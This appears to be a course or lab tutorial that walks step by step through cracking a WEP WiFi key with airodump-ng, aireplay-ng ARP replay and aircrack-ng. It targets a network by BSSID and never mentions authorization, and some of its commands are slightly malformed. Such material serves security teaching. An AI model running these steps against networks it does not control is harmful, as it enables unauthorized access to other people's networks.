# InSkill-2

## Step 1: Setting Up Monitor Mode with a WiFi Adapter

## 1.1 Ensure Your WiFi Adapter Supports Monitor Mode

• First, make sure that your WiFi adapter supports monitor mode and packet injection. You can check this by running the following command:

```
"iwconfig"
```

 If your WiFi adapter is listed and shows "Mode: Managed," you can proceed to switch it to monitor mode.

#### 1.2 Switch to Monitor Mode

• Use the following commands to put your WiFi adapter into monitor mode:

```
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
```

- o Replace wlan0 with your adapter's name if it's different.
- Verify Monitor Mode:
  - Check if your adapter is now in monitor mode using:

```
bash
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iwconfig
```

## **Step 2: Capturing Packets**

## 2.1 Start Airodump-ng to Capture Packets

• Use airodump-ng to start capturing packets:

```
"sudo airodump-ng wlan0"
```

- This will show you a list of nearby wireless networks. Look for the network you want to target (i.e., the one with WEP encryption).
- Capture Packets from a Specific Network:
  - Once you have identified the target network, use the following command to capture packets:

```
"sudo airodump-ng --bssid [Target_BSSID] --channel [Channel] -- write capture wlan0"
```

o Replace [Target\_BSSID] with the BSSID of the network and [Channel] with the channel number.

## **Step 3: Capturing ARP Requests**

#### 3.1 Use Aireplay-ng to Capture ARP Requests

• Run the following command to start capturing ARP requests:

```
"sudo aireplay-ng --arpreplay -b [Target_BSSID] -h [Your_MAC] wlan0"
```

o Replace [Target\_BSSID] with the BSSID of the target network and [Your\_MAC] with your MAC address (can be found using ifconfig).

## 3.2 Collect IVs for Cracking

• Continue running airodump-ng until you have collected enough IVs (Initialization Vectors). The number required may vary, but usually, around 10,000 to 20,000 IVs are needed.

## **Step 4: Crack the WEP Key**

## 4.1 Using Aircrack-ng to Crack the Key

• Once you've collected enough IVs, use aircrack-ng to crack the WEP key:

```
"sudo aircrack-ng -b [Target BSSID] capture*.cap"
```

o This will start cracking the WEP key using the captured IVs.